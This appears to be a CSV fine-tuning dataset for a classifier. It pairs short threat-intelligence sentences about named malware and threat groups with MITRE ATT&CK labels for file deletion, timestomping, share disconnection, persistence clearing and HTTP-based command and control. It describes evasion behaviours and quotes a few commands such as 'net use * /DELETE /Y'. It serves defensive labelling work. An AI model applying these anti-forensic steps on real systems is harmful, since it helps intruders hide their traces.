Rising Sun can delete files and artifacts it creates.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Rocke has deleted files on infected machines.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
RunningRAT contains code to delete files from the victim’s machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
S-Type has deleted files it has created on a compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
SDBbot has the ability to delete files from a compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
SILENTTRINITY can remove files from the compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
SLOTHFULMEDIA has deleted itself and the 'index.dat' file on a compromised machine to remove recent Internet history from the system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
SQLRat has used been observed deleting scripts once used.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Saint Bot can run a batch script named `del.bat` to remove any Saint Bot payload-linked files from a compromise system if anti-analysis or locale checks fail.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
SamSam has been seen deleting its own files and payloads to make analysis of the attack more difficult.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Sandworm Team has used backdoors that can delete files used in an attack from an infected system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"SeaDuke can securely delete files, including deleting itself from the victim.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Seasalt has a command to delete a specified file.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
ServHelper has a module to delete itself from the infected machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Shark can delete files downloaded to the compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"ShimRat can uninstall itself from compromised hosts, as well create and modify directories, delete, move, copy, and rename files.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Silence has deleted artifacts, including scheduled tasks, communicates files from the C2 and other logs.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"SombRAT has the ability to run ""cancel"" or ""closeanddeletestorage"" to remove all files from storage and delete the storage temp file on a compromised host.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Some Sakula samples use cmd.exe to delete temporary files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
SpeakUp deletes files to remove evidence on the machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
StoneDrill has been observed deleting the temporary files once they fulfill their task.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
StrifeWater can self delete to cover its tracks.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Stuxnet uses an RPC server that contains a routine for file deletion and also removes itself from the system through a DLL export by deleting specific files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
SysUpdate can delete its configuration file from the targeted system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
TAINTEDSCRIBE can delete files from a compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
TDTESS creates then deletes log files during installation of itself as a service.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"TEMP.Veles routinely deleted tools, logs, and other files after they were finished with them.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Taidoor can use ""DeleteFileA"" to remove files from infected hosts.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
TeamTNT has used a payload that removes itself after running. TeamTNT also has deleted locally staged files for collecting credentials or scan results for local IP addresses after exfiltrating them.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"The BRONZE BUTLER uploader or malware the uploader uses ""command"" to delete the RAR archives after they have been exfiltrated.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
The JHUHUGIT dropper can delete itself from the victim. Another JHUHUGIT variant has the capability to delete specified files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
The Komplex trojan supports file deletion.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Threat Group-3390 has deleted existing logs and exfiltrated file archives from a victim.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Trojan.Karagany has used plugins with a self-delete capability.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Tropic Trooper has deleted dropper files on an infected system using command scripts.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"UNC2452 routinely removed their tools, including custom backdoors, once remote access was achieved.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Ursnif has deleted data staged in tmp files after exfiltration.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"VBShower has attempted to complicate forensic analysis by deleting all the files contained in ""%APPDATA%\..\Local\Temporary Internet Files\Content.Word"" and ""%APPDATA%\..\Local Settings\Temporary Internet Files\Content.Word\"".",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
VERMIN can delete files on the victim’s machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Volgmer can delete files and itself after infection to avoid analysis.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Wingbird deletes its payload along with the payload's parent process after it finishes copying files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Winnti for Windows can delete the DLLs for its various components from a compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Wizard Spider has used file deletion to remove some modules and configurations from an infected host after use.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
XAgentOSX contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Zebrocy has a command to delete files and directories.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Zeus Panda has a command to delete a file. It also can uninstall scripts and delete files to cover its track.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
ZxShell can delete files from the system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
ccf32 can delete files and folders from compromised machines.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
cmd can be used to delete files from the file system.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
gh0st RAT has the capability to to delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
pngdowner deletes content from C2 communications that was saved to the user's temporary directory.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
zwShell has deleted itself after creating a service as well as deleted a temporary file when the system reboots.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
InvisiMole can disconnect previously connected remote drives.,['T1070.005 - Indicator Removal on Host: Network Share Connection Removal'],fine_tune
"RobbinHood disconnects all network shares from the computer with the command ""net use * /DELETE /Y"".",['T1070.005 - Indicator Removal on Host: Network Share Connection Removal'],fine_tune
"The ""net use \\system\share /delete"" command can be used in Net to remove an established connection to a network share.",['T1070.005 - Indicator Removal on Host: Network Share Connection Removal'],fine_tune
"Threat Group-3390 has detached network shares after exfiltrating files, likely to evade detection.",['T1070.005 - Indicator Removal on Host: Network Share Connection Removal'],fine_tune
3PARA RAT has a command to set certain attributes such as creation/modification timestamps on files.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
APT29 modified timestamps of backdoors to match legitimate Windows files.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"APT32 has used scheduled task raw XML with a backdated timestamp of June 2, 2016. The group has also set the creation time of the files dropped by the second stage of the exploit to match the creation time of kernel32.dll. Additionally, APT32 has used a random value to modify the timestamp of the file storing the clientID.",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
APT38 has modified data timestamps to mimic files that are in the same folder on a compromised host.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"After creating a new service for persistence, TDTESS sets the file creation time for the service to the creation time of the victim's legitimate svchost.exe file.",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Attor has manipulated the time of last access to files and registry keys after they have been created or modified.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
BLINDINGCAN has modified file and directory timestamps.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Bankshot modifies the time of a file as specified by the control server.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
BitPaymer can modify the timestamp of an executable so that it can be identified and restored by the decryption tool.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
China Chopper's server component can change the timestamp of files.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Cobalt Strike can timestomp any files or payloads placed on a target machine to help them blend in.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Cobalt Strike will timestomp any files or payloads placed on a target machine to help them blend in.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Cyclops Blink has the ability to use the Linux API function `utime` to change the timestamps of modified firmware update images.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
EVILNUM has changed the creation date of files.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Elise performs timestomping of a CAB file it creates.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Empire can timestomp any files or payloads placed on a target machine to help them blend in.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
FALLCHILL can modify file or directory timestamps.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"For early Gazer versions, the compilation timestamp was faked.",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Gelsemium has the ability to perform timestomping of files on targeted systems.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
InvisiMole samples were timestomped by the authors by setting the PE timestamps to all zero values. InvisiMole also has a built-in command to modify file times.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Kimsuky has manipulated timestamps for creation or compilation dates to defeat anti-forensics.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"Kobalos can modify timestamps of replaced files, such as ""ssh"" with the added credential stealer or ""sshd"" used to deploy Kobalos.",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
MacMa has the capability to create and modify file timestamps.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"Many Misdat samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file.",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"OSX_OCEANLOTUS.D can use the ""touch -t"" command to change timestamps.",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
OwaAuth has a command to timestop a file or directory.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
POSHSPY modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
PowerStallion modifies the MAC times of its local log files to match that of the victim's desktop.ini file.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Psylo has a command to conduct timestomping by setting a specified file’s timestamps to match those of a system file in the System32 directory.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Rocke has changed the time stamp of certain files.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
SEASHARPEE can timestomp files on victims using a Web shell.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"Several Lazarus Group malware families use timestomping, including modifying the last write timestamp of a specified Registry key to a random date, as well as copying the timestamp for legitimate .exe files (such as calc.exe or mspaint.exe) to its dropped files.",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Stuxnet extracts and writes driver files that match the times of other legitimate files.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
TAINTEDSCRIBE can change the timestamp of specified filenames.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
TEMP.Veles used timestomping to modify the $STANDARD_INFORMATION attribute on tools.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
The Derusbi malware supports timestomping.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
UNC2452 modified timestamps of backdoors to match legitimate Windows files.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
Winnti for Windows can set the timestamps for its worker and service components to match that of cmd.exe.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"APT29 removed evidence of email export requests using ""Remove-MailboxExportRequest"".",['T1070.008 - Email Collection: Mailbox Manipulation'],fine_tune
"MCMD has the ability to remove set Registry Keys, including those used for persistence.",['T1070.009 - Clear Persistence'],fine_tune
RTM has the ability to remove Registry entries that it created for persistence.,['T1070.009 - Clear Persistence'],fine_tune
SUNBURST removed IFEO registry values to clean up traces of persistence.,['T1070.009 - Clear Persistence'],fine_tune
"njRAT is capable of manipulating and deleting registry keys, including those used for persistence.",['T1070.009 - Clear Persistence'],fine_tune
APT34 malware often uses HTTP and DNS for C2. The group has also used the Plink utility and other tools to create tunnels to C2 servers.,['T1071 - Application Layer Protocol'],fine_tune
Adversaries can also use NETEAGLE to establish an RDP connection with a controller over TCP/7519.,['T1071 - Application Layer Protocol'],fine_tune
Cobalt Strike conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.,['T1071 - Application Layer Protocol'],fine_tune
Dragonfly has used SMB for C2.,['T1071 - Application Layer Protocol'],fine_tune
"Duqu uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.","['T1071 - Application Layer Protocol', 'T1572 - Protocol Tunneling']",fine_tune
Exaramel uses HTTPS for C2 communications.,['T1071 - Application Layer Protocol'],fine_tune
Lucifer can use the Stratum protocol on port 10001 for communication between the cryptojacking bot and the mining server.,['T1071 - Application Layer Protocol'],fine_tune
Magic Hound malware has used IRC for C2.,['T1071 - Application Layer Protocol'],fine_tune
Siloscape connects to an IRC server for C2.,['T1071 - Application Layer Protocol'],fine_tune
"The Regin malware platform supports many standard protocols, including SMB.",['T1071 - Application Layer Protocol'],fine_tune
4H RAT uses HTTP for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
A SUGARDUMP variant has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
ABK has the ability to use HTTP in communications with C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
ADVSTORESHELL connects to port 80 of a C2 server using Wininet API. Data is exchanged via HTTP POSTs.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"APT12 has used RIPTIDE, a RAT that uses HTTP to communicate.",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
APT19 used HTTP for C2 communications. APT19 also used an HTTP malware variant to communicate over HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
APT29 has used HTTP for C2 and data exfiltration.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
APT32 has used JavaScript that communicates over HTTP or HTTPS to attacker controlled domains to download additional frameworks. The group has also used downloaded encrypted payloads over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
APT33 has used HTTP for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
APT37 uses HTTPS to conceal C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"APT38 used a backdoor, QUICKRIDE, to communicate to the C2 server over HTTP and HTTPS.",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Action RAT can use HTTP to communicate with C2 servers.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Agent Tesla has used HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Amadey has used HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Anchor has used HTTP and HTTPS in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"AppleJeus has sent data to its C2 server via ""POST"" requests.",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
AppleSeed has the ability to communicate with C2 over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
AuTo Stealer can use HTTP to communicate with its C2 servers.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Avenger has the ability to use HTTP in communication with C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
BACKSPACE uses HTTP as a transport to communicate with its command server.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
BADNEWS establishes a backdoor over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
BBSRAT uses GET and POST requests over HTTP or HTTPS for command and control to obtain commands and send ZLIB compressed data back to the C2 server.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
BLINDINGCAN has used HTTPS over port 443 for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
BRONZE BUTLER malware has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
BUBBLEWRAP can communicate using HTTP or HTTPS.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
BackConfig has the ability to use HTTPS for C2 communiations.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
BadPatch uses HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Bazar can use HTTP and HTTPS over ports 80 and 443 in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Bisonal has used HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
BlackEnergy communicates with its C2 server over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
BlackMould can send commands to C2 in the body of HTTP POST requests.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
BoomBox has used HTTP POST requests for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Bundlore uses HTTP requests for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
CORESHELL can communicate over HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
CSPY Downloader can use GET requests to download additional payloads from C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Carberp has connected to C2 servers via HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Carbon can use HTTP in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
ChChes communicates to its C2 server over HTTP and embeds data within the Cookie HTTP header.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Chaes has used HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Chimera has used HTTPS for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Clambling has the ability to communicate over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Cobalt Group has used HTTPS for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Cobalt Strike can use a custom command and control protocol that can be encapsulated in HTTP or HTTPS. All protocols use their standard assigned ports.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
CosmicDuke can use HTTP or HTTPS for command and control to hard-coded C2 servers.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
CozyCar's main method of communicating with its C2 servers is using HTTP or HTTPS.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
CreepyDrive can use HTTPS for C2 using the Microsoft Graph API.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
CreepySnail can use HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Crutch has conducted C2 communications with a Dropbox account using the HTTP API.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Cyclops Blink can download files via HTTP and HTTPS.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
DRATzarus can use HTTP or HTTPS for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Dacls can use HTTPS in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
DanBot can use HTTP in C2 communication.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Dark Caracal's version of Bandook communicates with their server over a TCP port using HTTP payloads Base64 encoded and suffixed with the string “&&&”.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
DarkWatchman uses HTTPS for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Daserf uses HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
DealersChoice uses HTTP for communication with the C2 server.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Diavol has used HTTP GET and POST requests for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Dipsind uses HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Doki has communicated with C2 over HTTPS.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Donut can use HTTP to download previously staged shellcode payloads.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
DownPaper communicates to its C2 server over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Drovorub can use the WebSocket protocol and has initiated communication with C2 servers with an HTTP Upgrade request.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"During Frankenstein, the threat actors used HTTP GET requests for C2.",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"During Night Dragon, threat actors used HTTP for C2.",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"During Operation CuckooBees, the threat actors enabled HTTP and HTTPS listeners.",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
DustySky has used both HTTP and HTTPS for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Dyre uses HTTPS for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
ELMER uses HTTP for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Egregor has communicated with its C2 servers via HTTPS protocol.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Emissary uses HTTP or HTTPS for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
EvilBunny has executed C2 commands directly via HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Exaramel for Linux uses HTTPS for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
FELIXROOT uses HTTP and HTTPS to communicate with the C2 server.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
FIN4 has used HTTP POST requests to transmit data.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
FIN8 has used HTTPS for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
FatDuke can be controlled via a custom C2 protocol over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Felismus uses HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Final1stspy uses HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Flagpro can communicate with its C2 using HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Gamaredon Group has used HTTP and HTTPS for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Gazer communicates with its C2 servers over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Gelsemium can use HTTP/S in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
GeminiDuke uses HTTP and HTTPS for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Get2 has the ability to use HTTP to send information collected from an infected host to C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Gold Dragon uses HTTP for communication to the control servers.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
GoldFinder has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
GoldMax has used HTTPS and HTTP GET requests with custom HTTP cookies for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
GoldenSpy has used the Ryeol HTTP Client to facilitate HTTP internet communication.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Goopy has the ability to communicate with its C2 over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Grandoreiro has the ability to use HTTP in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
GravityRAT uses HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
GreyEnergy uses HTTP and HTTPS for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"HAFNIUM has used open-source C2 frameworks, including Covenant.",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
HTTPBrowser has used HTTP and HTTPS for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Helminth can use HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Hikit has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
HyperBro has used HTTPS for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
IceApple can use HTTP GET to request and pull information from C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
IcedID has used HTTPS in communications with C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Inception has used HTTP, HTTPS, and WebDav in network communications.",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
InvisiMole uses HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Ixeshe uses HTTP for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
JHUHUGIT variants have communicated with C2 servers over HTTP and HTTPS.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
KONNI has used HTTP POST for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Ke3chang malware including RoyalCli and BS2005 have communicated over HTTP with the C2 server through Internet Explorer (IE) by using the COM interface IWebBrowser2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Keydnap uses HTTPS for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Kinsing has communicated with C2 over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Koadic has used HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
LOWBALL command and control occurs via HTTPS over port 443.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Lazarus Group has conducted C2 over HTTP and HTTPS.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
LiteDuke can use HTTP GET requests in C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Lokibot has used HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
LookBack’s C2 proxy tool sends data to a C2 server over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
MCMD can use HTTPS in communication with C2 web servers.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
MacSpy uses HTTP for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Machete malware used Python’s urllib library to make HTTP requests to the C2 server.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Machete uses HTTP for Command & Control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Magic Hound malware has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Maze has communicated to hard-coded IP addresses via HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
MechaFlounder has the ability to use HTTP in communication with C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Metamorfo has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Micropsia uses HTTP and HTTPS for C2 network communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Milan can use HTTPS for communication with C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
MiniDuke uses HTTP and HTTPS for command and control.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Mis-Type network traffic can communicate over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Mongall can use HTTP for C2 communication.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
More_eggs uses HTTPS for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Mori can communicate using HTTP over IPv4 or IPv6 depending on a flag set.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
MuddyWater has used HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
NETWIRE has the ability to communicate over HTTP.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
NOKKI has used HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Neoichor can use HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Night Dragon has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
OSX_OCEANLOTUS.D can use HTTP POST and GET requests to send and receive C2 information.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Octopus has used HTTP GET and POST requests for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
OnionDuke uses HTTP and HTTPS for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
OopsIE uses HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Orangeworm has used HTTP for C2.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
Out1 can use HTTP and HTTPS in communications with remote hosts.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
OutSteel has used HTTP for C2 communications.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
OwaAuth uses incoming HTTP requests with a username keyword and commands and handles them as instructions to perform actions.,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
